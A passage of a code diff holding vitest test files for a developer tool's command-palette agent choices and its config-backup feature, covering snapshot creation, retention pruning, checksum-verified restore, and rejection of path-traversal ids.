expect(app.commandPaletteItems[index]).toMatchObject({ mode: 'claude', subtitle: 'Run Claude in plex-previews' });
expect(elements.commandPaletteList.innerHTML).not.toContain('data-palette-agent-cycle');
await app.activateCommandPaletteItem(index);
expect(modeDuringRun).toBe('claude');
expect(app._runMode).toBe('claude');
});
});
/** The toolbar Run menu's entries, as renderRegistryRunOptions() and index.html draw them. */
function fakeRunMenu(modes: string[]) {
const options = modes.map((mode) => ({ dataset: { mode }, style: { display: 'PRISTINE' } }));
return {
options,
querySelectorAll: (selector: string) => (selector === '.run-mode-option[data-mode]' ? options : []),
querySelector: () => null,
prepend: vi.fn(),
};
}
const shownByRunMenu = (menu: ReturnType<typeof fakeRunMenu>) =>
menu.options.filter((option) => option.style.display === 'flex').map((option) => option.dataset.mode);
/**
* A palette with session-ui.js loaded, so the agent list goes through the Run
* menu's real availability rule. Host flags as in loadAgentPalette (no codex
* here); the active case is a Docker case with the given `docker` record.
*/
function loadDockerPalette(docker: Record<string, any>) {
const harness = loadAgentPalette(PALETTE_CATALOG, { sessionUi: true });
harness.app.cases = [
{ name: 'plex-previews' },
{ name: 'far', location: 'remote' },
{ name: 'dock', location: 'docker', docker },
];
harness.elements.quickStartCase.value = 'dock';
harness.app.selectQuickStartCase = vi.fn();
// The Run menu's live container probe is a docker exec round trip; here it
// never lands, which is also what a probe still in flight looks like.
harness.app._probeDockerCaseModes = vi.fn();
return harness;
}
const ADOPTED = { owned: false, hostId: 'local', container: 'dev-box', availableModes: ['shell', 'claude', 'codex'] };
describe('Command-K new-session agents follow the Run menu for the row case', () => {
it('offers a Docker case its container agents and starts on a container-only Run mode', async () => {
// codex is missing on the host but ships in the container, and the Run
// button is on it (picked from the Run menu, which gates on the container).
const { app, elements } = loadDockerPalette(ADOPTED);
app._runMode = 'codex';
let modeDuringRun: string | undefined;
app.run = vi.fn(async () => {
modeDuringRun = app._runMode;
});
app.openCommandPalette();
elements.commandPaletteSearch.value = 'nomatch';
app.renderCommandPalette();
const index = app.commandPaletteItems.findIndex((i: any) => i.type === 'new-session');
expect(app._commandPaletteAgentChoices('dock').map((c: any) => c.id)).toEqual(['claude', 'shell', 'codex']);
expect(app.commandPaletteItems[index]).toMatchObject({
caseName: 'dock',
mode: 'codex',
subtitle: 'Run Codex in dock',
});
expect(elements.commandPaletteList.innerHTML).toContain('run-mode-dot codex');
// The same agents the Run menu shows for this case.
const menu = fakeRunMenu(['claude', 'codex', 'opencode', 'shell']);
app._refreshRunModeAvailability(menu);
expect(shownByRunMenu(menu)).toEqual(['claude', 'codex']);
await app.activateCommandPaletteItem(index);
expect(modeDuringRun).toBe('codex');
expect(app._runMode).toBe('codex');
});
it('offers every enabled agent for an owned container nothing has probed yet, and then follows the probe', () => {
// An owned container runs the base image, which ships every CLI, and before
// its first session there is nothing to probe: like the Run menu, an unknown
// list does not gate, so a probe still in flight cannot empty the row.
const { app } = loadDockerPalette({ owned: true, hostId: 'local', container: 'codeman-dock' });
app._runMode = 'codex';
app.openCommandPalette();
expect(app._commandPaletteAgentChoices('dock').map((c: any) => c.id)).toEqual([
'claude',
'shell',
'codex',
'opencode',
]);
expect(app.commandPaletteItems.find((i: any) => i.type === 'new-session').mode).toBe('codex');
// The palette reads what the Run menu learned; it never starts a docker exec itself.
expect(app._probeDockerCaseModes).not.toHaveBeenCalled();
const menu = fakeRunMenu(['claude', 'codex', 'opencode', 'shell']);
app._refreshRunModeAvailability(menu);
expect(shownByRunMenu(menu)).toEqual(['claude', 'codex', 'opencode']);
// Once the live probe has landed, both follow it.
app._dockerCaseModes = { dock: ['shell', 'opencode'] };
expect(app._commandPaletteAgentChoices('dock').map((c: any) => c.id)).toEqual(['shell', 'opencode']);
app._refreshRunModeAvailability(menu);
expect(shownByRunMenu(menu)).toEqual(['opencode']);
});
it('keeps the host rule for local and remote cases, and follows the case the query names', () => {
const { app, elements } = loadDockerPalette(ADOPTED);
elements.quickStartCase.value = 'plex-previews';
app._runMode = 'codex'; // missing on the host
const row = () => app.commandPaletteItems.find((i: any) => i.type === 'new-session');
app.openCommandPalette();
expect(app._commandPaletteAgentChoices('plex-previews').map((c: any) => c.id)).toEqual([
'claude',
'shell',
'opencode',
]);
expect(app._commandPaletteAgentChoices('far').map((c: any) => c.id)).toEqual(['claude', 'shell', 'opencode']);
expect(row()).toMatchObject({ caseName: 'plex-previews', mode: 'claude' });
// Typing the Docker case's name moves the row there, where the container
// has the Run button's codex, so the row starts on it.
elements.commandPaletteSearch.value = 'dock';
app.renderCommandPalette();
expect(row()).toMatchObject({ caseName: 'dock', mode: 'codex' });
});
});
describe('Session Manager unified list', () => {
it('maps UnifiedSessionItem fields to the history-record shape and routes clicks by liveness', async () => {
const { app, elements } = loadPaletteHarness({
+59
View File
@@ -0,0 +1,59 @@
/**
* @fileoverview The snapshot origin must survive a hostname change (a Docker container gets a new
* hostname on every recreate) and still differ between data dirs.
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
const host = vi.hoisted(() => ({ name: 'container-a' }));
vi.mock('node:os', async (importOriginal) => ({
...(await importOriginal<typeof import('node:os')>()),
hostname: () => host.name,
}));
import {
configBackupOrigin,
createConfigBackup,
listConfigBackups,
pruneConfigBackups,
restoreConfigBackup,
} from '../src/config-backup.js';
let root: string;
let data: string;
let backups: string;
beforeEach(() => {
root = mkdtempSync(join(tmpdir(), 'cfg-origin-'));
data = join(root, 'data');
backups = join(root, 'backups');
mkdirSync(data, { recursive: true });
writeFileSync(join(data, 'settings.json'), '{"a":1}');
host.name = 'container-a';
});
afterEach(() => rmSync(root, { recursive: true, force: true }));
describe('configBackupOrigin', () => {
it('is made once, kept in the data dir, and differs between data dirs', () => {
const a = configBackupOrigin(data);
expect(configBackupOrigin(data)).toBe(a);
expect(readFileSync(join(data, 'config-backup-id'), 'utf8').trim()).toBe(a);
const other = join(root, 'other');
expect(configBackupOrigin(other)).not.toBe(a);
});
it('keeps snapshots listed, restorable and prunable after the hostname changes', () => {
const made = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: 1_000_000 }) as {
id: string;
};
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'manual', force: true, now: 2_000_000 });
host.name = 'container-b'; // the container was recreated
const origin = configBackupOrigin(data);
expect(listConfigBackups(backups, origin)).toHaveLength(2);
writeFileSync(join(data, 'settings.json'), '{"a":2}'); // a change, so the restore takes a pre-restore copy
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id: made.id })).not.toThrow();
const removed = pruneConfigBackups(backups, { keepCount: 1, keepDays: 0, origin });
expect(removed).toHaveLength(2); // 3 now: the restore took a pre-restore copy
});
});
+188
View File
@@ -0,0 +1,188 @@
/**
* @fileoverview Restoring settings.json from inside App Settings must refill the form, or Save
* would PUT the pre-restore values back over the restored file. Evaluates the real settings-ui.js
* against a stub app.
*/
import { describe, expect, it } from 'vitest';
import { readFileSync } from 'node:fs';
import vm from 'node:vm';
const SRC = readFileSync(new URL('../src/web/public/settings-ui.js', import.meta.url), 'utf-8');
function makeApp(
restored: string[],
confirmed = true,
reply: { ok: boolean; body: unknown } = { ok: true, body: { success: true, data: { restored, restartRequired: [] } } }
) {
const calls: string[] = [];
const confirms: string[] = [];
const toasts: Array<[string, string]> = [];
function CodemanApp(this: unknown) {}
const ctx = vm.createContext({
CodemanApp,
window: {},
document: {},
confirm: (m: string) => (confirms.push(m), confirmed),
escapeHtml: (s: string) => s,
});
vm.runInContext(SRC, ctx);
const app = Object.create((CodemanApp as unknown as { prototype: object }).prototype) as Record<string, unknown>;
Object.assign(app, {
_configBackups: [
{
id: 'cfg-1',
files: [{ name: 'settings.json' }, { name: 'users.json' }, { name: '.env' }, { name: 'clis.json' }],
},
],
_apiPost: async () => ({ ok: reply.ok, json: async () => reply.body }),
loadAppSettingsFromServer: async () => void calls.push('reload-settings'),
openAppSettings: () => void calls.push('refill-form'),
loadConfigBackups: () => void calls.push('reload-list'),
showToast: (m: string, type: string) => void toasts.push([m, type]),
});
return { app, calls, confirms, toasts };
}
describe('restoreConfigBackup (Settings UI)', () => {
it('re-reads settings into the form when settings.json was restored', async () => {
const { app, calls } = makeApp(['settings.json', 'clis.json']);
await (app.restoreConfigBackup as (id: string) => Promise<void>)('cfg-1');
expect(calls).toEqual(['reload-settings', 'refill-form', 'reload-list']);
});
it('leaves the form alone when settings.json was not part of the restore', async () => {
const { app, calls } = makeApp(['clis.json']);
await (app.restoreConfigBackup as (id: string) => Promise<void>)('cfg-1');
expect(calls).toEqual(['reload-list']);
});
it('a restore that failed partway still refills the form when settings.json was among the files written', async () => {
const { app, calls, toasts } = makeApp([], true, {
ok: false,
body: {
success: false,
errorCode: 'OPERATION_FAILED',
error: 'Restore incomplete: could not write clis.json (EISDIR); settings.json restored',
data: {
restored: ['settings.json'],
failed: [{ name: 'clis.json', error: 'EISDIR' }],
safetySnapshot: 'cfg-2',
restartRequired: ['settings.json'],
},
},
});
await (app.restoreConfigBackup as (id: string) => Promise<void>)('cfg-1');
expect(calls).toEqual(['reload-settings', 'refill-form', 'reload-list']);
expect(toasts).toHaveLength(1);
expect(toasts[0][1]).toBe('error');
expect(toasts[0][0]).toContain('clis.json');
});
it('a refused restore (nothing written) only reports the error', async () => {
const { app, calls, toasts } = makeApp([], true, {
ok: false,
body: { success: false, errorCode: 'CONFLICT', error: 'settings.json does not match its checksum' },
});
await (app.restoreConfigBackup as (id: string) => Promise<void>)('cfg-1');
expect(calls).toEqual([]);
expect(toasts).toEqual([['settings.json does not match its checksum', 'error']]);
});
it('names the files being replaced and calls out the credential ones', async () => {
const { app, confirms } = makeApp(['settings.json'], false);
await (app.restoreConfigBackup as (id: string) => Promise<void>)('cfg-1');
expect(confirms[0]).toContain('settings.json, users.json, .env, clis.json');
expect(confirms[0]).toContain('credentials');
expect(confirms[0]).toMatch(/users\.json, \.env\)/);
});
});
describe('loadConfigBackups (retention fields)', () => {
function load(saved: Record<string, unknown>) {
const inputs: Record<string, { value: string; placeholder: string }> = {
appSettingsConfigBackupKeepCount: { value: '20', placeholder: '' },
appSettingsConfigBackupKeepDays: { value: '30', placeholder: '' },
appSettingsConfigBackupDir: { value: '', placeholder: '' },
};
function CodemanApp(this: unknown) {}
const ctx = vm.createContext({
CodemanApp,
window: {},
document: { getElementById: (id: string) => inputs[id] ?? null },
escapeHtml: (s: string) => s,
});
vm.runInContext(SRC, ctx);
const app = Object.create((CodemanApp as unknown as { prototype: object }).prototype) as Record<string, unknown>;
Object.assign(app, {
$: () => ({ textContent: '', innerHTML: '' }),
loadAppSettingsFromStorage: () => saved,
_api: async () => ({
ok: true,
json: async () => ({
success: true,
data: { settings: { keepCount: 100, keepDays: 0 }, dir: '/d', defaultDir: '/d', backups: [] },
}),
}),
});
return { app, inputs };
}
it('shows the retention the passes use when settings.json has none of the keys (a reset file)', async () => {
const { app, inputs } = load({});
await (app.loadConfigBackups as () => Promise<void>)();
expect(inputs.appSettingsConfigBackupKeepCount.value).toBe(100);
expect(inputs.appSettingsConfigBackupKeepDays.value).toBe(0);
});
it('leaves the form alone when the saved settings state the retention', async () => {
const { app, inputs } = load({ configBackupKeepCount: 7, configBackupKeepDays: 9 });
await (app.loadConfigBackups as () => Promise<void>)();
expect(inputs.appSettingsConfigBackupKeepCount.value).toBe('20'); // the open-settings code owns it
});
});
describe('Save and the displayed retention', () => {
function payload(
prev: Record<string, unknown>,
touched: { count?: boolean; days?: boolean },
count = '100',
days = '0'
) {
const inputs: Record<string, { value: string; dataset: Record<string, string> }> = {
appSettingsConfigBackupKeepCount: { value: count, dataset: touched.count ? { touched: '1' } : {} },
appSettingsConfigBackupKeepDays: { value: days, dataset: touched.days ? { touched: '1' } : {} },
};
function CodemanApp(this: unknown) {}
const ctx = vm.createContext({
CodemanApp,
window: {},
document: { getElementById: (id: string) => inputs[id] },
});
vm.runInContext(SRC, ctx);
const app = Object.create((CodemanApp as unknown as { prototype: object }).prototype) as Record<string, unknown>;
return (app._configBackupRetentionPayload as (p: Record<string, unknown>) => Record<string, unknown>).call(
app,
prev
);
}
it('leaves out a retention value that was only displayed (a reset settings.json)', () => {
expect(payload({}, {})).toEqual({});
});
it('sends a value that was saved before, or edited here, and only that one', () => {
expect(payload({ configBackupKeepCount: 100 }, {})).toEqual({ configBackupKeepCount: 100 });
expect(payload({}, { days: true })).toEqual({ configBackupKeepDays: 0 });
expect(payload({}, { count: true, days: true }, '5', '7')).toEqual({
configBackupKeepCount: 5,
configBackupKeepDays: 7,
});
});
it('clamps like the form always did', () => {
expect(payload({}, { count: true, days: true }, '1', '99999')).toEqual({
configBackupKeepCount: 2,
configBackupKeepDays: 3650,
});
});
});
+690
View File
@@ -0,0 +1,690 @@
/**
* @fileoverview Config backups (src/config-backup.ts): what is tracked, when a snapshot is made,
* how retention prunes, and that restore verifies before it writes. Pure fs over temp dirs;
* port: N/A.
*/
import {
chmodSync,
existsSync,
mkdirSync,
mkdtempSync,
readdirSync,
readFileSync,
rmSync,
symlinkSync,
statSync,
writeFileSync,
} from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
import {
CONFIG_BACKUP_FILES,
ConfigBackupCorruptError,
ConfigBackupNotFoundError,
ConfigBackupPartialRestoreError,
createConfigBackup,
defaultConfigBackupDir,
diffConfigBackups,
listConfigBackups,
normalizeBackupDir,
pruneConfigBackups,
readConfigBackupSettings,
resolveConfigBackupDir,
restoreConfigBackup,
configBackupOrigin,
latestBackupRetention,
sweepConfigBackupTemps,
} from '../src/config-backup.js';
let root: string;
let data: string;
let backups: string;
beforeEach(() => {
root = mkdtempSync(join(tmpdir(), 'cfg-backup-'));
data = join(root, 'data');
backups = join(root, 'backups');
mkdirSync(data);
});
afterEach(() => rmSync(root, { recursive: true, force: true }));
const put = (name: string, text: string) => writeFileSync(join(data, name), text);
const DAY = 86_400_000;
const T0 = Date.UTC(2026, 9, 1, 12, 0, 0);
describe('settings', () => {
it('defaults to ON, 20 copies, 30 days, default folder', () => {
expect(readConfigBackupSettings({})).toEqual({ enabled: true, dir: null, keepCount: 20, keepDays: 30 });
expect(readConfigBackupSettings(null).enabled).toBe(true);
});
it('only an explicit false turns it off, and numbers are clamped to their ranges', () => {
expect(readConfigBackupSettings({ configBackupEnabled: false }).enabled).toBe(false);
const s = readConfigBackupSettings({ configBackupKeepCount: 9999, configBackupKeepDays: -3 });
expect(s.keepCount).toBe(500);
expect(s.keepDays).toBe(0);
expect(readConfigBackupSettings({ configBackupKeepCount: 0 }).keepCount).toBe(2);
expect(readConfigBackupSettings({ configBackupKeepCount: 'abc' }).keepCount).toBe(20);
expect(readConfigBackupSettings({ configBackupKeepCount: 7.9 }).keepCount).toBe(7);
});
it('expands ~ and refuses anything that is not an absolute path', () => {
expect(normalizeBackupDir('~/cfg', '/home/u')).toBe('/home/u/cfg');
expect(normalizeBackupDir('/mnt/backups/codeman', '/home/u')).toBe('/mnt/backups/codeman');
for (const bad of ['', ' ', 'relative/dir', './here', undefined, 42, '/x\0y']) {
expect(normalizeBackupDir(bad as never, '/home/u'), String(bad)).toBeNull();
}
});
it('uses <data dir>/backups/config by default and never the data dir itself', () => {
expect(resolveConfigBackupDir(readConfigBackupSettings({}), '/d')).toBe(defaultConfigBackupDir('/d'));
expect(resolveConfigBackupDir(readConfigBackupSettings({ configBackupDir: '/elsewhere' }), '/d')).toBe(
'/elsewhere'
);
expect(resolveConfigBackupDir(readConfigBackupSettings({ configBackupDir: '/d' }), '/d')).toBe(
defaultConfigBackupDir('/d')
);
});
});
describe('createConfigBackup', () => {
it('snapshots only the tracked files that exist, with a manifest', () => {
put('settings.json', '{"a":1}');
put('clis.json', '{"clis":{}}');
put('state.json', '{"runtime":true}'); // not config: must not be copied
put('hook-secret', 'x'); // regenerated: must not be copied
const r = createConfigBackup({
dataDir: data,
backupDir: backups,
reason: 'startup',
appVersion: '1.2.3',
now: T0,
});
expect(r.status).toBe('created');
const [b] = listConfigBackups(backups);
expect(b.files.map((f) => f.name).sort()).toEqual(['clis.json', 'settings.json']);
expect(b.reason).toBe('startup');
expect(b.appVersion).toBe('1.2.3');
expect(b.createdAt).toBe(T0);
expect(existsSync(join(backups, b.id, 'state.json'))).toBe(false);
expect(readFileSync(join(backups, b.id, 'settings.json'), 'utf8')).toBe('{"a":1}');
});
it('tracks a fixed allowlist', () => {
expect([...CONFIG_BACKUP_FILES]).toContain('settings.json');
expect([...CONFIG_BACKUP_FILES]).not.toContain('state.json');
expect([...CONFIG_BACKUP_FILES]).not.toContain('hook-secret');
});
it('makes no second snapshot while nothing changed, and one when something does', () => {
put('settings.json', '{"a":1}');
const first = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 });
const again = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 1000 });
expect(again).toEqual({ status: 'unchanged', id: (first as { id: string }).id });
expect(listConfigBackups(backups)).toHaveLength(1);
put('settings.json', '{"a":2}');
expect(createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 2000 }).status).toBe(
'created'
);
expect(listConfigBackups(backups)).toHaveLength(2);
});
it('does not count a self-refreshed discovery timestamp as a change', () => {
const hosts = (stamp: string, model = 'm1') =>
JSON.stringify({ hosts: [{ id: 'h', models: [{ id: model }], lastDiscoveredAt: stamp }] });
put('custom-model-hosts.json', hosts('2026-10-12T08:44:22.026Z'));
const first = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 });
// The 5-minute discovery poll rewrites only the timestamp: still the same state.
put('custom-model-hosts.json', hosts('2026-10-12T08:49:22.025Z'));
const again = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 1000 });
expect(again).toEqual({ status: 'unchanged', id: (first as { id: string }).id });
expect(listConfigBackups(backups)).toHaveLength(1);
// A real edit next to a refreshed timestamp is still a change, stored exactly as written.
const edited = hosts('2026-10-12T08:54:22.025Z', 'm2');
put('custom-model-hosts.json', edited);
const third = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 2000 });
expect(third.status).toBe('created');
expect(readFileSync(join(backups, (third as { id: string }).id, 'custom-model-hosts.json'), 'utf8')).toBe(edited);
});
it.each([
[
'webviews.json',
(n: number) =>
JSON.stringify([
{
id: 'w1',
name: 'Grafana',
url: 'http://localhost:3001',
embedMode: 'proxy',
trusted: false,
createdAt: 1,
lastOpenedAt: n,
},
]),
'name',
],
[
'docker-cases.json',
(n: number) => JSON.stringify([{ name: 'app', hostId: 'h', lastClaudeSessionId: `c${n}` }]),
'hostId',
],
['users.json', (n: number) => JSON.stringify({ users: [{ name: 'a', role: 'admin', lastLoginAt: n }] }), 'role'],
[
'settings.json',
(n: number) => JSON.stringify({ displayName: 'x', lastUsedCase: `case-${n}`, lastPickedCase: `case-${n}` }),
'displayName',
],
[
'intents.json',
(n: number) => JSON.stringify({ profiles: [{ key: 'k', goals: 'g', updatedAt: n, recentPrompts: [`p${n}`] }] }),
'goals',
],
])('does not count activity in %s as a change, but does count an edit next to it', (name, make, editKey) => {
put(name, make(1));
const first = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 });
put(name, make(2));
expect(createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 1000 })).toEqual({
status: 'unchanged',
id: (first as { id: string }).id,
});
put(name, make(3).replace(new RegExp(`"${editKey}":"[^"]*"`), `"${editKey}":"edited"`));
expect(createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 2000 }).status).toBe(
'created'
);
});
it('compares a tracked file that is not valid JSON by its bytes', () => {
put('custom-model-hosts.json', 'not json lastDiscoveredAt 1');
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 });
put('custom-model-hosts.json', 'not json lastDiscoveredAt 2');
expect(createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 1000 }).status).toBe(
'created'
);
});
it('force makes a snapshot even when unchanged, and two in one second get distinct ids', () => {
put('settings.json', '{}');
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'a', now: T0 });
const forced = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'manual', force: true, now: T0 });
expect(forced.status).toBe('created');
const ids = listConfigBackups(backups).map((b) => b.id);
expect(new Set(ids).size).toBe(2);
});
it('reports empty, creating nothing, when no tracked file exists', () => {
expect(createConfigBackup({ dataDir: data, backupDir: backups, reason: 'x' })).toEqual({ status: 'empty' });
expect(existsSync(backups)).toBe(false);
});
it('keeps snapshots private: 0700 folder and 0600 files', () => {
put('settings.json', '{}');
put('.env', 'CODEMAN_PASSWORD=secret');
const r = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'x', now: T0 });
const id = (r as { id: string }).id;
expect(statSync(join(backups, id)).mode & 0o777).toBe(0o700);
expect(statSync(join(backups, id, '.env')).mode & 0o777).toBe(0o600);
expect(statSync(join(backups, id, 'manifest.json')).mode & 0o777).toBe(0o600);
});
it('leaves no temp folder behind', () => {
put('settings.json', '{}');
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'x', now: T0 });
const stray = readdirSync(backups).filter((n) => n.startsWith('.tmp-'));
expect(stray).toEqual([]);
});
});
describe('retention', () => {
const makeN = (n: number) => {
for (let i = 0; i < n; i++) {
put('settings.json', JSON.stringify({ i }));
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + i * DAY });
}
};
it('keeps the newest keepCount', () => {
makeN(6);
const removed = pruneConfigBackups(backups, { keepCount: 3, keepDays: 0, now: T0 + 6 * DAY });
expect(removed).toHaveLength(3);
const left = listConfigBackups(backups);
expect(left).toHaveLength(3);
expect(left.map((b) => b.createdAt)).toEqual([T0 + 5 * DAY, T0 + 4 * DAY, T0 + 3 * DAY]);
});
it('drops anything older than keepDays, but never the newest', () => {
makeN(4); // T0 .. T0+3d
// At T0+100d everything is older than 30 days: the newest still survives.
const removed = pruneConfigBackups(backups, { keepCount: 50, keepDays: 30, now: T0 + 100 * DAY });
expect(removed).toHaveLength(3);
expect(listConfigBackups(backups).map((b) => b.createdAt)).toEqual([T0 + 3 * DAY]);
});
it('applies both limits together and keepDays 0 means no age limit', () => {
makeN(5);
expect(pruneConfigBackups(backups, { keepCount: 50, keepDays: 0, now: T0 + 999 * DAY })).toEqual([]);
const removed = pruneConfigBackups(backups, { keepCount: 4, keepDays: 3, now: T0 + 5 * DAY });
// Newest first: T0+4d, +3d, +2d, +1d, T0. A snapshot ages from its successor: T0+1d was live
// until T0+2d, which sits exactly on the cutoff (kept); only T0 is over the count.
expect(removed.length).toBe(1);
expect(listConfigBackups(backups).map((b) => b.createdAt)).toEqual([
T0 + 4 * DAY,
T0 + 3 * DAY,
T0 + 2 * DAY,
T0 + DAY,
]);
});
it('keeps the last good copy when the first change comes after a quiet month', () => {
put('settings.json', '{"theme":"good"}');
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'startup', now: T0 });
put('settings.json', '{}'); // the bad write, 40 days later
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 40 * DAY });
pruneConfigBackups(backups, { keepCount: 20, keepDays: 30, now: T0 + 40 * DAY });
expect(listConfigBackups(backups).map((b) => b.createdAt)).toEqual([T0 + 40 * DAY, T0]);
});
it('never deletes a folder it did not make', () => {
makeN(3);
mkdirSync(join(backups, 'photos'));
writeFileSync(join(backups, 'photos', 'a.jpg'), 'x');
mkdirSync(join(backups, 'cfg-20200101-000000')); // right name, no manifest: not ours
writeFileSync(join(backups, 'notes.txt'), 'keep');
pruneConfigBackups(backups, { keepCount: 1, keepDays: 1, now: T0 + 500 * DAY });
expect(existsSync(join(backups, 'photos', 'a.jpg'))).toBe(true);
expect(existsSync(join(backups, 'cfg-20200101-000000'))).toBe(true);
expect(existsSync(join(backups, 'notes.txt'))).toBe(true);
expect(listConfigBackups(backups)).toHaveLength(1);
});
it('does nothing for a folder that does not exist', () => {
expect(pruneConfigBackups(join(root, 'nope'), { keepCount: 1, keepDays: 1 })).toEqual([]);
});
});
describe('restoreConfigBackup', () => {
it('puts the files back, atomically, after taking a pre-restore snapshot', () => {
put('settings.json', '{"good":true}');
put('clis.json', '{"clis":{"grok":{"enabled":true}}}');
const made = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 }) as { id: string };
put('settings.json', '{"polluted":true}');
rmSync(join(data, 'clis.json'));
const r = restoreConfigBackup({ dataDir: data, backupDir: backups, id: made.id, now: T0 + 1000 });
expect(r.restored.sort()).toEqual(['clis.json', 'settings.json']);
expect(readFileSync(join(data, 'settings.json'), 'utf8')).toBe('{"good":true}');
expect(readFileSync(join(data, 'clis.json'), 'utf8')).toBe('{"clis":{"grok":{"enabled":true}}}');
expect(statSync(join(data, 'settings.json')).mode & 0o777).toBe(0o600);
// The state it replaced is recoverable.
expect(r.safetySnapshot).toBeTruthy();
const safety = listConfigBackups(backups).find((b) => b.id === r.safetySnapshot)!;
expect(safety.reason).toBe('pre-restore');
expect(readFileSync(join(backups, safety.id, 'settings.json'), 'utf8')).toBe('{"polluted":true}');
});
it('refuses a snapshot whose file no longer matches its checksum, changing nothing', () => {
put('settings.json', '{"good":true}');
const made = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 }) as { id: string };
chmodSync(join(backups, made.id, 'settings.json'), 0o600);
writeFileSync(join(backups, made.id, 'settings.json'), '{"tampered":true}');
put('settings.json', '{"live":true}');
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id: made.id })).toThrow(
ConfigBackupCorruptError
);
expect(readFileSync(join(data, 'settings.json'), 'utf8')).toBe('{"live":true}');
expect(listConfigBackups(backups)).toHaveLength(1); // no pre-restore snapshot for a refused restore
});
it('rejects unknown ids and anything that is not a snapshot name (no path traversal)', () => {
put('settings.json', '{}');
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 });
for (const id of ['cfg-19990101-000000', '../data', '..', 'photos', 'cfg-20261001-120000/../../x']) {
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id }), id).toThrow(
ConfigBackupNotFoundError
);
}
});
it('reuses the newest backup as the undo copy when the live files already equal it', () => {
put('settings.json', '{"a":1}');
const first = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 }) as { id: string };
put('settings.json', '{"a":2}');
const newest = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + DAY }) as {
id: string;
};
const r = restoreConfigBackup({ dataDir: data, backupDir: backups, id: first.id, now: T0 + 2 * DAY });
expect(r.safetySnapshot).toBe(newest.id);
expect(listConfigBackups(backups).map((b) => b.id)).toEqual([newest.id, first.id]); // no duplicate
expect(readFileSync(join(data, 'settings.json'), 'utf8')).toBe('{"a":1}');
});
it('a file it cannot write does not stop the others, and the error names both lists', () => {
put('settings.json', '{"good":true}');
put('clis.json', '{"clis":{}}');
put('webhook.json', '{"enabled":false}');
const made = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 }) as { id: string };
put('settings.json', '{"polluted":true}');
put('webhook.json', '{"enabled":true}');
rmSync(join(data, 'clis.json'));
mkdirSync(join(data, 'clis.json')); // between the other two in the tracked list
let caught: unknown;
try {
restoreConfigBackup({ dataDir: data, backupDir: backups, id: made.id, now: T0 + 1000 });
} catch (err) {
caught = err;
}
expect(caught).toBeInstanceOf(ConfigBackupPartialRestoreError);
const err = caught as ConfigBackupPartialRestoreError;
expect(err.restored).toEqual(['settings.json', 'webhook.json']);
expect(err.failed.map((f) => f.name)).toEqual(['clis.json']);
expect(err.safetySnapshot).toBeTruthy();
expect(readFileSync(join(data, 'webhook.json'), 'utf8')).toBe('{"enabled":false}');
expect(readdirSync(data).filter((n) => n.includes('.restore-'))).toEqual([]); // no temp left behind
});
it('only ever writes allowlisted names, even if a manifest lists others', () => {
put('settings.json', '{"a":1}');
const made = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 }) as { id: string };
const mpath = join(backups, made.id, 'manifest.json');
const m = JSON.parse(readFileSync(mpath, 'utf8'));
m.files.push({ name: '../escape.json', bytes: 1, sha256: 'x' }, { name: 'state.json', bytes: 1, sha256: 'x' });
writeFileSync(mpath, JSON.stringify(m));
restoreConfigBackup({ dataDir: data, backupDir: backups, id: made.id });
expect(existsSync(join(root, 'escape.json'))).toBe(false);
expect(existsSync(join(data, 'state.json'))).toBe(false);
});
});
describe('diffConfigBackups', () => {
const snap = (now: number) => {
const r = createConfigBackup({ dataDir: data, backupDir: backups, reason: 't', force: true, now });
if (r.status !== 'created') throw new Error('expected a snapshot');
return r.id;
};
const diff = (from: string, to: string) => diffConfigBackups({ dataDir: data, backupDir: backups, from, to });
const file = (d: ReturnType<typeof diff>, name: string) => d.files.find((f) => f.name === name)!;
it('lists key-level changes between two backups', () => {
put('settings.json', JSON.stringify({ displayName: 'a', theme: { mode: 'dark' }, tags: ['x'] }));
const a = snap(T0);
put('settings.json', JSON.stringify({ displayName: 'b', theme: { mode: 'dark' }, tags: ['x', 'y'], extra: 1 }));
const b = snap(T0 + 1000);
const f = file(diff(a, b), 'settings.json');
expect(f.status).toBe('changed');
expect(f.changes).toEqual([
{ path: 'displayName', kind: 'changed', before: '"a"', after: '"b"' },
{ path: 'extra', kind: 'added', after: '1' },
{ path: 'tags[1]', kind: 'added', after: '"y"' },
]);
});
it('compares a backup with the running config, and reports files that appeared or vanished', () => {
put('settings.json', '{"a":1}');
put('webhook.json', '{"url":"u"}');
const a = snap(T0);
put('settings.json', '{"a":2}');
